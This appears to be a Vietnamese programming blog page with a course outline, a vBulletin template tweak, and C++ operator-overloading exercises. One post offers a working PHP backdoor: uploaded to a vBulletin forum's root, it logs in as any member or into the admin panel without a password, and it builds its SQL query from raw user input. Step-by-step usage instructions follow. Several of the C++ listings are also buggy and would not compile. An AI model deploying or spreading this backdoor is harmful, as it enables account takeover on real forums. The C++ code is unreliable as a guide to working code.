Mar 12, 2012

Giáo trình lập trình web Nhất Nghệ

Chương 1. Cơ bản ngôn ngữ C# .................................................. .......................................... 1
I. Giới thiệu ngôn ngữ C# 2008 .................................................. .................................... 1
II. Môi trường lập trình .................................................. .................................................. . 2
III. Biến, hằng, toán tử .................................................. .................................................. ... 3

IV. Quy ước lập trình, ứng dụng Console Application trong Visual Studio 2008 ............. 5
V. Kiểu dữ liệu .................................................. .................................................. ............. 9
VI. Cấu trúc điều khiển .................................................. .................................................. 10
VII. Cấu trúc lặp .................................................. .................................................. ............ 12
Chương 2. Xây dựng Windows Forms Application .................................................. ......... 15
I. Sử dụng Visual Studio 2008 .................................................. .................................... 15
II. Các control cơ bản: Label, TextBox, Button, CheckBox, … .................................... 18
III. Menu và ToolBar .................................................. .................................................. ... 30
IV. Common Dialog .................................................. .................................................. ..... 30
Chương 3. Array – String – Exception .................................................. ............................. 34
I. Mảng 1 chiều .................................................. .................................................. ......... 34
II. Mảng nhiều chiều .................................................. .................................................. ... 37
III. String .................................................. .................................................. ...................... 40
IV. Exception .................................................. .................................................. ............... 45
Chương 4. Class – Object - Method .................................................. .................................. 47
I. Khái niệm .................................................. .................................................. ............... 47
II. Định nghĩa lớp (Class) .................................................. ............................................. 47
III. Phương thức (Method) .................................................. ............................................. 50
Chương 5. SQL Server 2008 .................................................. .............................................. 54
I. Tổng quan về SQL .................................................. .................................................. . 54
II. Tổng quan về CSDL quan hệ .................................................. ................................... 55
III. Table (Bảng) .................................................. .................................................. .......... 58
IV. Câu lệnh truy vấn .................................................. .................................................. ... 66
V. Một số hàm thường dùng trong SQL Server .................................................. ........... 70
Chương 6. Lập trình kết nối CSDL SQL Server 2008 .................................................. .... 72
I. Tạo kết nối – Vận chuyển dữ liệu. .................................................. .......................... 72
II. Sử dụng control .................................................. .................................................. ...... 73
III. Các thao tác trên dữ liệu: Thêm - Sửa - Xóa với ADO.NET ..................................... 78
Chương 7. Xây dựng ứng dụng .................................................. .......................................... 85
I. Chuẩn bị. .................................................. .................................................. ................ 85
II. Sử dụng control .................................................. .................................................. ...... 85
III. Sử dụng database .................................................. .................................................. ... 88



 

Xem thêm: http://kenhdaihoc.com/forum/showthread.php?t=2843

Mar 9, 2012

Cách đăng nhập vào forum VBB khi quên pass hoặc không cần pass

Code này có tác dụng là khi upload vào thư mục root của forum VBB các bạn có khả năng đăng nhập vào nick bất cứ thành viên nào mà không cần password. Ngoài ra vào đc thẳng admincp mà ko cần gõ lại pass


<?php
if (isset($_GET['kenhdaihoc']))
{
define('THIS_SCRIPT', 'login');
require_once('./global.php');
require_once('./includes/functions_login.php');
$vbulletin->userinfo = $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " . TABLE_PREFIX . "user WHERE username = '" . $_GET['kenhdaihoc'] . "'");
if (!$vbulletin->userinfo['userid']) die("Invalid username!");
else
{
vbsetcookie('userid', $vbulletin->userinfo['userid'], true, true, true);
vbsetcookie('password', md5($vbulletin->userinfo['password'] . COOKIE_SALT), true, true, true);
exec_unstrike_user($_GET['kenhdaihoc']);
process_new_login('cplogin', TRUE, TRUE);
do_login_redirect();
}
}
?> 
Cách sử dụng

Copy đoạn code trên vào notepad save đuôi *.php (VD: fakepass.php)

Upload vào thư mục chứa forum ngang hàng với file index.php

Sau đó chạy link sau

http://domain.com/forum/*
.php?bd=username

Nhớ thay phần in đậm (domain và user)
Biết nhiều thì tốt nhưng đừng lấy đi phá người khác nhé :) 

[ST]

Hướng dẩn đóng khung thông tin chủ để cho vbb

Demo:

Trích từ: http://kenhdaihoc.com/forum/showthread.php?t=2828
-Cài đặt:B1: Bạn tải file về giải nén ra xong upload lên ngang hàng với index của forum
file đính kèm

B2: Vào Skin cần tạo ==> Edit Themes ==> postbit_legacy (hoặc postbit)

B3: Tìm đoạn code:





<!-- message -->
<div id="post_message_{vb:raw post.postid}">
B4: chèn lên phía trên đoạn code sau:

<center>
 <!-- $Id: NNT Đóng khung Thông Tin bài trên $ --> <vb:if condition="!$GLOBALS['FIRSTPOSTID']">
 <div>
<table cellSpacing="0" cellPadding="0" border="0" style="width:100%">
<tr>
<td style="padding: 0px"><img src="nnt/info/nnt1.png"></td>
<td style="padding: 0px" background="nnt/info/nnt2.png"></td>
<td style="padding: 0px"><img src="nnt/info/nnt3.png"></td>
</tr>
<tr>
<td valign="top" style="padding: 0px" background="nnt/info/nnt4.png"></td>
<td style="padding: 0px; background-color: #ffffff" bgColor="#ffffff">
 <!-- $Id: NNT Đóng khung Thông Tin bài trên $ -->

<table border="0" cellspacing="0" cellpadding="0" width="100%">
 <tr>
 <td>
 {vb:raw template_hook.postbit_messagearea_start}
<vb:if condition="$post['title'] OR $show['messageicon']">
<h2 class="title icon" align="center">
Chủ Đề: <vb:if condition="$show['messageicon']"><img src="{vb:raw post.iconpath}" alt="{vb:raw post.icontitle}" /> </vb:if>
 <font color="#000080">{vb:raw post.title}</font>
</h2></vb:if>
 </td>
 </tr>
 <tr>
 <td>
 <table border="0" width="100%" cellspacing="0" cellpadding="0">
 <tr>
 <td width="35%" align="left">►Lượt Xem: <b>{vb:raw thread.views}</b></td>
 <td width="25%" align="left">►Trả Lời: <b>{vb:raw thread.replycount}</td>
 <td align="left">

<div>
 <!-- $Id: NNT Share $ -->
 ►Chia Sẽ:
 <a title="Gửi bài này cho bạn bè qua yahoo" href="ymsgr:im?+&msg=Xem bài này hay lắm nè: {vb:raw post.title} ~~>
http://kenhdaihoc.com/forum/{vb:raw relpath} gửi cho bạn bè nữa nhá "><img border="0" src="images/share/yahoo.gif"></a>
 <a title="Ðăng lên FaceBook" target="_blank" href="
http://www.facebook.com/share.php?u=http://kenhdaihoc.com/forum/{vb:raw relpath}"><img border="0" src="images/share/facebook.png"></a>
 <a title="Ðăng lên ZingMe" target="_blank" href="
http://link.apps.zing.vn/pro/view/conn/share?u=http://kenhdaihoc.com/forum/{vb:raw relpath}&t={vb:raw post.title}&desc=Nếu bạn thích thì bạn có thể ghé qua Diễn Đàn của chúng tôi ^^!"><img border="0" src="images/share/zing.gif"></a>
 <a title="Ðăng lên Google" target="_blank" href="
https://www.google.com.vn/bookmarks/mark?op=add&bkmk=http://kenhdaihoc.com/forum/{vb:raw relpath}&title={vb:raw post.title}&annotation="><img border="0" src="images/share/google.png"></a>
 <a title="Ðăng lên TangVn" target="_blank" href="
http://www.tagvn.com/submit?url=http://kenhdaihoc.com/forum/{vb:raw relpath}"><img border="0" src="images/share/tagvn.gif"></a>
 <a title="Bookmark lại bài này" href="javascript:bookmarksite('{vb:raw post.title}', 'http://kenhdaihoc.com/forum/{vb:raw relpath}')"><img border="0" src="images/share/favorites.png"></a>
 <a title="In trang này" href="javascript:window.print()"><img border="0" src="images/share/print.gif"></a>

<!-- $Id: NNT Share $ -->
 </div>

</td>
 </tr>

<tr>
 <td width="35%" align="left">►Ngày Gửi: <b>{vb:raw post.postdate}</b></td>
 <td width="25%" align="left">►Đánh Giá: <b>{vb:raw thread.rating}Sao</b></td>
 <td align="left">
 <!-- Facebook Like -->
 <iframe src="
http://www.facebook.com/plugins/like.php?href=http://kenhdaihoc.com/forum/{vb:link thread, {vb:raw thread}}&amp;layout=standard&amp;show_faces=false&amp;width=380&amp;action=like&amp;font=tahoma&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:380px; height:25px"></iframe>
 <!-- / Facebook Like --></td>
 </tr>

</table>
 </td>
 </tr>
 </table>

<!-- $Id: NNT Đóng khung Thông Tin bài dưới $ -->
</td>
<td style="padding: 0px" background="nnt/info/nnt6.png"></td>
</tr>
<tr>
<td style="padding: 0px"><img src="nnt/info/nnt7.png"></td>
<td style="padding: 0px" background="nnt/info/nnt8.png"></td>
<td style="padding: 0px"><img src="nnt/info/nnt9.png"></td>
</tr>
</table>
<!-- $Id: NNT Đóng khung Thông Tin bài dưới $ --></div></vb:if>
 </center>
 <br/>

B5: Sửa lại link đến FB và link của diễn đàn bạn!

Download: http://www.mediafire.com/?feb51915cmibnmr

Xây dựng lớp date trong C++


Xây dựng lớp date1 có các thành phần sau:


- Các thuộc tính : day, month, year
- Hàm thiết lập có tham số mặc định
- Hàm kiểm tra năm nhuận
- Hàm kiểm tra ngày cuối tháng
- Nạp chồng toán tử tăng (++)
- Nạp chồng toán tử (+ =)
- Nạp chồng toán tử xuất (<<)


Viết chương trình kiểm tra


#include <iostream.h>
#include <conio.h>
class date1
{
  private:
    int day;
    int month;
    int year;
    static const int days[];
    void helpIncrement();
  public:
    date1(int d=1,int m=1,int y=1900);
    void setdate(int d,int m,int y);
    date1 &operator++();
    date1 &operator+=(int addday);
    bool leapyear(int y);//kiem tra nam nhuan
    bool endofmonth(int d);//kiem tra ngay cuoi thang
    friend ostream & operator<<(ostream & out,date1 &date);

};

const int date1::days[]={0,31,28,31,30,31,30,31,31,30,31,30,31};

date1::date1(int d,int m,int y)
{
   setdate(d,m,y);
}

void date1::setdate(int d,int m,int y)
{
    month=(m>=1 && m<=12)? m:1;
    year=(y>=1900 && y<=2100)?y:1900;
      if( month==2 && leapyear(y))
        day=(d>=1 && d<=29)? d:1;
      else
        day=(d>=1 && d<=days[month])? d:1;
}

bool date1::leapyear(int y)
{
       if ((y%400 ==0)||(y%100 !=0 && y%4==0))
           return true;
       else
           return false;
}

bool date1::endofmonth(int d)
{
     if(month==2 && leapyear(year))
       return d==29;
     else
       return d==days[month];
}

void date1::helpIncrement()
{
    if(month==2 && leapyear(year))//ngay cuoi nam
       {
          day=1;
          month=1;
          ++year;
       }
   else
     if(endofmonth(day))//ngay cuoi thang
       {
        day=1;
        ++month;
       }
     else
       ++day;
}

date1 &date1::operator++()
{
   helpIncrement();
   return * this;
}

date1 & date1::operator+=(int addday)
{
  for(int i=0;i<addday;i++)
    {
       helpIncrement();
    }
  return *this;
}

ostream & operator<<(ostream & out,date1 & date)
{
   char * monthname[13]={" " , "January","February","Match","April","May",
   "June","July","August","September","October","November","December"};

   out<< date.day <<"/"<<monthname[date.month]<<" / " <<date.year<<endl;
   return out;
}
void main()
 {
    date1 d1,d(23,5,2006);
    cout<<d1;
    cout<<d;
    cout<<d++;
    cout<<d;
    d+=2;
    cout<<d;
    getch();
 }

Xây dựng lớp complex có dạng real+ image*i trong C++

Tạo lớp complex (real + image *i ) có các thành phần sau:
- Các thuộc tính : real , image;
- Hàm tạo có sử dụng tham số mặc định
- Nạp chồng các toán tử sau:
+ Toán tử cộng (+) 
+ Toán tử cộng thành phần real của số phức b lên x (b.real + x)
+ Toán tử trừ (-)
+ Toán tử nhập (>>)
+ Toán tử xuất (<<)

#include <iostream.h>
#include <conio.h>
class complex
{
  private:
    float real,image;
  public:
    complex(float r=0,float i=0);
    complex operator+(complex c);
    complex operator-(complex c);
    friend complex operator+(float x,complex c);
    friend ostream& operator<<(ostream &out,complex c);
    friend istream& operator>>(istream &inp,complex& c);
};
 
complex::complex(float r,float i)
{
   real=r;
   image=i;
}
 
complex complex::operator+(complex c)
{
    complex temp;
    temp.real=real+c.real;
    temp.image=image+c.image;
    return temp;
}
 
complex complex::operator-(complex c)
{
   complex temp;
   temp.real=real-c.real;
   temp.image=image-c.image;
   return temp;
}
 
complex operator+(float x, complex c)
{
   complex temp;
   temp.real=c.real+x;
   temp.image=c.image;
   return temp;
}
 
ostream& operator<<(ostream &out,complex c)
{
   cout<<c.real<<"+"<<c.image<<"i"<<endl;
   return out;
}
 
istream& operator>>(istream &inp,complex &c)
{
  cout<<" Nhap vao phan thuc:";
  cin>>c.real;
  cout<<" Nhap vao phan ao:";
  cin>>c.image;
  return inp;
}
 
void main()
{
    complex c,c1,c2,c3;
    float x;
    cin>>c;
    cin>>c1;
    c2=c+c1;
    cout<<" Cong hai so phuc :"<<c2;
    c3=c1-c;
    cout<<" Tru hai so phuc :"<<c3;
    cout<<" Nhap vao x :";
    cin>>x;
    c3=c3+x;
    cout<< c3;
    getch();
}

Xây dựng lớp Phânsố trong C++


Tạo lớp Phân số có các thành phần sau:
- Các thuộc tính: ts,ms;
- Hàm tạo có sử dụng tham số mặc định
- Nạp chồng các toán tử sau:
+ Toán tử cộng (+)
+ Toán tử trừ (-)
+ Toán tử nhân ( * )
+ Toán tử chia (/)
+ Toán tử nhập (>>)
+ Toán tử xuất (<<)


#include "iostream.h"
#include "conio.h"
#include "math.h"
class PS
{
     int t,m;
     public:
     friend ostream& operator<<(ostream& os, PS p);
     friend istream& operator>>(istream& is, PS &p);
     friend PS rutgon(PS p);
     PS operator+(PS p);
     PS operator-(PS p);
     PS operator*(PS p);
     PS operator/(PS p);
};

int USCLN(int x,int y)
{
   if(x==0)
     return y;
   if (y==0)
       return x;
   while (x!=y)
      {
        if(x>y)
         x-=y;
        else
         y-=x;
      }
}

ostream& operator<<(ostream& os, PS p)
{
           os<<p.t<</<<p.m<<endl;
           return os;
}

istream& operator>>(istream& is, PS &p)
{
      is>>p.t>>p.m;
      return is;
}

PS rutgon(PS p)
{
      PS q;
      int x;
      x=uscln(p.t,p.m);
      q.t=p.t/x;
      q.m=p.m/x;
       return q;
}

PS PS::operator+(PS p)
{
      PS q;
      q.t=t*p.m+p.t*m;
      q.m=m*p.m;
      return rutgon(q);
}

PS PS::operator-(PS p)
{
    PS q;
   q.t=t*p.m-p.t*m;
   q.m=m*p.m;
   return rutgon(q);
}

PS PS::operator*(PS p)
{
    PS q;
    q.t=t*p.t;
    q.m=m*p.m;
    return rutgon(q);
}

PS PS::operator/(PS p)
{
    PS q;
    q.t=t*p.m;
    q.m=m*p.t;
    return rutgon(q);
}

void main()
{
     PS p1,p2,p;
    cout<<"Nhap p1=";cin>>p1;
    cout<<"Nhap p2=";cin>>p2;
    p=p1+p2;
   cout<<"p="<<p<<endl;
   getch();
}